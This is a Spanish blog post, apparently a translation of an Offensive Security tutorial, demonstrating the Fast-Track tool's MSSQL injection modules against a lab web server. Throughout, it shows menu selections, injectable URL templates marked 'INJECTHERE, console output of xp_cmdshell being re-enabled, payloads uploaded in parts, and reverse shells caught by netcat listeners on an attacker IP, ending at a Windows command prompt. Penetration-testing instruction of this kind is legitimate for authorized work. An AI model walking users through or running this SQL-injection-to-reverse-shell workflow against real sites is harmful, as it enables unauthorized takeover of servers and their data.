miércoles, 5 de mayo de 2010

MSSQL Injection

MSSQL Injection


Las inyecciones MSSQL utiliza algunas técnicas avanzadas para obtener informacion y acceso en última instancia, el pleno acceso sin restricciones al sistema subyacente. En esta sección se requiere conocer un sitio que pueda ser vulnerable a ataques de inyecciones SQL. Una vez que ello esté previsto, por vía rápida puede hacer el trabajo por usted y explotar el sistema. Tenga en cuenta que esto sólo funcionará en Microsoft SQL back-end en una aplicación web.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReL1K)
http://www.securestate.com
http://www.thepentest.com

1. Fast-Track Updates
2. Autopwn Automation
3. Microsoft SQL Tools
4. Mass Client-Side Attack
5. Exploits
6. Binary to Hex Payload Converter
7. Payload Generator
8. Fast-Track Tutorials
9. Fast-Track Changelog
10. Fast-Track Credits
11. Exit

Enter the number: 3

Microsoft SQL Attack Tools

Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 1

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice:

Notificación de los diferentes sub-menús que están disponibles. Haremos una revision a través de cada uno y explicar su propósito. El SQL Injector - Query String Parameter Attack' Busca especificamente vulnerabilidades en sistemas que permitan el ingreso de cadenas de escritura de un sitio web. cadenas de consulta son representados como sigue:?querystring1=value1&querystring2=value2 y la inyección ocurre a menudo cuando valor1 y valor2 se encuentran. Vamos a navegar a un sitio vulnerable:

Tenga en cuenta los parámetros de cadena de consulta en la parte superior: inicio de sesión y contraseña. Vamos a lanzar una única sentencia en el «Parámetro login 'cadena de consulta.

Archivo:Http://www.offensive-security.com/msf/inect here.jpg

Ahora que sabemos que el campo de entrada es susceptible a la inyección de SQL, tenemos que decirle rapidamente a dónde ir realmente a lanzar el ataque. Hacemos esto mediante la especificación de "INJECTHERE" en lugar del parámetro de inyectables en la cadena de consulta. Esto le permitirá rapidamente conocer lo que queremos atacar. Mira el inferior a la producción y el resultado final.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 1


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Requirements: PExpect
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This module uses a reverse shell by using the binary2hex method for uploading.
It does not require FTP or any other service, instead we are using the debug
function in Windows to generate the executable.

You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:

http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah



Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter

Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter here: http://10.211.55.128/Default.aspx?login='INJECTHERE&password=blah
Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload (1/4)....
Sending second portion of payload (2/4)....
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload (1/4)....
Sending second portion of payload (2/4)....
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...
listening on [any] 4444 ...
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


Fast-Track automaticamente re habilita el procedimiento almacenado 'xp_cmdshell' si está deshabilitado y ofrece un reverse payload en el sistema, en última instancia, nos da acceso total a lo largo de la inyección de SQL!

Este fue un gran ejemplo de cómo atacar los parámetros de cadena de consulta, pero ¿qué formas? parámetros Post también puede ser manejados rapida y facil mente . En las inyeecciones MSSQL del menu de "Fast-Track" , seleccione 'SQL Injector en el menu 'MSSQL Injector' seleccione 'SQL Injector - POST Parameter Attack'.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 2

This portion allows you to attack all forms on a specific website without having to specify
each parameter. Just type the URL in, and Fast-Track will auto SQL inject to each parameter
looking for both error based injection as well as blind based SQL injection. Simply type
the website you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/index.aspx

Enter the URL to attack: http://10.211.55.128/Default.aspx

Forms detected...attacking the parameters in hopes of exploiting SQL Injection..

Sending payload to parameter: txtLogin

Sending payload to parameter: txtPassword

[-] The PAYLOAD is being delivered. This can take up to two minutes. [-]

listening on [any] 4444 ...
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

Por no citar Office Max, que era fácil! Fast-Track detecta automáticamente los formularios y ataca el sistema de inyección de SQL, en última instancia le da acceso a los cuadros.

Si por alguna razón el ataque cadena de parámetro de consulta no se realizó correctamente, puede utilizar el 'SQL Injector - GET FTP Payload Attack'. Para ello es necesario que instale ProFTPD, y se utiliza raramente. En este módulo se configurará un payload through FTP echo files, finalmente, entregar la carga a través de FTP y de inyección SQL.

El 'SQL Injector - GET Manual Setup Binary Payload Attack' se puede usar si usted está atacando de una máquina, pero tiene un oyente en otra máquina. Esto se utiliza a menudo si está NAT y tiene una caja de escucha establecido en el Internet y no en el sistema desde el que está atacando.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 4

The manual portion allows you to customize your attack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:

http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah



Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter here: http://10.211.55.128/Default.aspx?login='INJECTHERE&password=blah
Enter the IP Address of server with NetCat Listening: 10.211.55.130
Enter Port number with NetCat listening: 9090


Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload....
Sending second portion of payload....
Sending next portion of payload...
Sending the last portion of the payload...
Running cleanup...
Running the payload on the server...
listening on [any] 9090 ...
10.211.55.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


© Offensive Security 2009

Original by www.offensive-security.com/metasploit-unleashed/
Traslated by tundervirld

No hay comentarios:

Publicar un comentario